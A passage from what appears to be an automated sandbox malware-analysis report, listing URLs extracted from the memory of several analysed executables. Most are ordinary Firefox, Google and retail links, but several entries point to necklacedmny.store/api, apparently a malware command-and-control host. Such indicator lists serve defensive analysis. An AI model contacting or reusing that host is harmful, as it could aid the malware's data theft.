00000010.00000003.2796735453.0000000000993000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2790995817.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 70bf1463df.exe, 00000010.00000003.2705404367.000000000099A000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2705500952.00000000009A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/&&
Source: 70bf1463df.exe, 00000010.00000003.2705500952.00000000009A0000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2609594492.0000000000989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 70bf1463df.exe, 00000010.00000003.2674863843.00000000009A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api0
Source: file.exe, 00000000.00000003.1771931755.0000000000A57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771956750.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771662528.0000000000A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apibV7RydFqE=
Source: 70bf1463df.exe, 00000010.00000003.2674863843.00000000009A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apic
Source: 70bf1463df.exe, 00000010.00000003.2657906291.0000000000994000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2662704108.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/ient
Source: 70bf1463df.exe, 00000010.00000003.2657757458.00000000053C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/no-s
Source: 70bf1463df.exe, 00000010.00000003.2686263448.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 70bf1463df.exe, 00000010.00000003.2657857276.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api(
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33889E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2(browser
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svgFileUtils_openSafeFileOutputStream
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001F.00000002.3097336698.000001B33E9A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FEC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: file.exe, 00000000.00000003.1725818919.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2609906318.0000000005420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001F.00000003.2925566342.000001B33C111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E6BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001F.00000002.3060637195.000001B33D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001F.00000003.2884525480.000001B33F89F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2921901771.000001B33F8A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2891617956.000001B33F8A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3110898679.000001B33F89F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A0EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1725885278.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1725818919.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2609906318.000000000541E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1725885278.00000000056A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1725885278.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1725818919.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2609906318.000000000541E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1725885278.00000000056A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001F.00000003.2915130389.000001B33F862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C0F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FEE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001F.00000002.3155816904.000001B344595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2780499937.000001B33C223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/XPIProvider
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
